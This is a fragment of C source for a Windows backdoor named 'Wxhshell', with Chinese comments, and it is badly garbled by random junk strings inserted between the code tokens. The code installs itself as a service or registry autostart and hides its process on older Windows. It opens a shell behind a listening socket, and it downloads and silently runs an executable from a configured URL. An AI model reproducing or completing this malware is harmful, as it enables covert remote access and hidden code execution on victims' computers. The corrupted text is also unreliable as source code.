if(strstr(procName,"services")) return 1; // 以服务启动 >4 n\ 9i9'Rd`g return 0; // 注册表启动 S*"uXTS } uJxT)m!/ dJYsn+ // 主模块 "AN*2)e4 int StartWxhshell(LPSTR lpCmdLine) o2AfMSt. { 6}z-X* SOCKET wsl; aCxF{>n
BOOL val=TRUE; ,"6Bw|s int port=0; & OO0v*@{ struct sockaddr_in door; g=G>4Ua3 .DX if(wscfg.ws_autoins) Install(); m5c=h OKW}8 qM port=atoi(lpCmdLine); z@za9U`6i nZ tMF%j' if(port<=0) port=wscfg.ws_port; e3o?=; * A<vrkHz WSADATA data; \zCwD0Z if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =()Vrk|uK +(Q$GO% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kZb #k# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); asEk3 door.sin_family = AF_INET; w.7pD door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9w)W| 9 door.sin_port = htons(port); oz.#+t%X$b #uRj9|E7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
_'Jz+f. closesocket(wsl); L0lqm0h return 1; (
* &E~g } RpmOg
e]9Z]a2 if(listen(wsl,2) == INVALID_SOCKET) { P/!W']OO closesocket(wsl); \ 8v^ hb return 1; $U/|+*
} 3Q0g4#eP Wxhshell(wsl); \\R$C WSACleanup(); p<Oz"6_/~ ax)>rP,V return 0; Q9G\T:^ury ?)-#\z=6G } \&8
61A; yg@8&;bP` // 以NT服务方式启动 L'?7~Cdls VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {sOW DM5 { E|,RM;7 DWORD status = 0; ur$=%3vM DWORD specificError = 0xfffffff; ( IXUT6| VY#nSF` serviceStatus.dwServiceType = SERVICE_WIN32; ?zk#}Ex1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; A<szY92&5 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k_?Z6RE> serviceStatus.dwWin32ExitCode = 0; 1
ORA6 serviceStatus.dwServiceSpecificExitCode = 0; h_>DcVNIx serviceStatus.dwCheckPoint = 0; .ZtW
y) U serviceStatus.dwWaitHint = 0; z7X,5[P ]&;K:#J hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?-v]+<$ Y if (hServiceStatusHandle==0) return; =w5]o@ PDgd'y status = GetLastError(); '.B5CQ if (status!=NO_ERROR) \{EYkk0] { xqQLri} serviceStatus.dwCurrentState = SERVICE_STOPPED; -HU4Ow serviceStatus.dwCheckPoint = 0; pN4gHi= serviceStatus.dwWaitHint = 0; ?hmuAgOtbh serviceStatus.dwWin32ExitCode = status; 8wEUly serviceStatus.dwServiceSpecificExitCode = specificError; XN&cM,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +\R__tx; return; p![UO I"W } |[_%zV;p>v #E$*PAB serviceStatus.dwCurrentState = SERVICE_RUNNING; %,UTFuM` serviceStatus.dwCheckPoint = 0; j 06mky serviceStatus.dwWaitHint = 0; elGwS\sw if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -=WQed} } s-801JpiJ LrH"d // 处理NT服务事件,比如:启动、停止 64UrD{$o VOID WINAPI NTServiceHandler(DWORD fdwControl) oTN:Q"oK7? { z&c|2L-u6 switch(fdwControl) |)65y
{ *x-@}WY$U case SERVICE_CONTROL_STOP: e>2KW5. serviceStatus.dwWin32ExitCode = 0; (O$il serviceStatus.dwCurrentState = SERVICE_STOPPED; eH]9"^>
o serviceStatus.dwCheckPoint = 0; at+Nd K serviceStatus.dwWaitHint = 0; \0veld { ]!X[[w) SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sby(?yg } dK Qu return; AM0CIRX$ case SERVICE_CONTROL_PAUSE: v[<x>?iD_ serviceStatus.dwCurrentState = SERVICE_PAUSED; w9w=2 * break; Sq SiuO.D case SERVICE_CONTROL_CONTINUE: ` 7P%muY. serviceStatus.dwCurrentState = SERVICE_RUNNING; X`20=x break; >{)\GK0i7 case SERVICE_CONTROL_INTERROGATE: -V&nlP break; ~l8w]R3A }; JT! Cb$! SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~p`[z~| } |ju+{+ <Uy $b4h // 标准应用程序主函数 M%YxhuT0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eiQ42x@Z { IP ,MjlA{0 // 获取操作系统版本 c'INmc
I| OsIsNt=GetOsVer(); MCAWn
H GetModuleFileName(NULL,ExeFile,MAX_PATH); `>- 56 % D<gd) // 从命令行安装 J=J!)\m if(strpbrk(lpCmdLine,"iI")) Install(); ^4Uk'T7V jcp6-XM // 下载执行文件 25j?0P"& if(wscfg.ws_downexe) { d%K& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VXnWY8\ WinExec(wscfg.ws_filenam,SW_HIDE); !CdF,pd/)m } NY6;\ 7!n
T/PmT:Qg` if(!OsIsNt) { |'``pq/}_ // 如果时win9x,隐藏进程并且设置为注册表启动 "/yS HB[ HideProc(); Pm]lr|Q{I StartWxhshell(lpCmdLine); &
}7+.^ } u2S8DuJ else >K<cc#Aa if(StartFromService()) H;seT XL // 以服务方式启动 Qv<p$Up6 StartServiceCtrlDispatcher(DispatchTable); e'sS",o* else ?kK3%uJy& // 普通方式启动 {9FL}Jrt StartWxhshell(lpCmdLine); x];i?
4 5@J]#bp0M return 0; ~3Za"q*0s }
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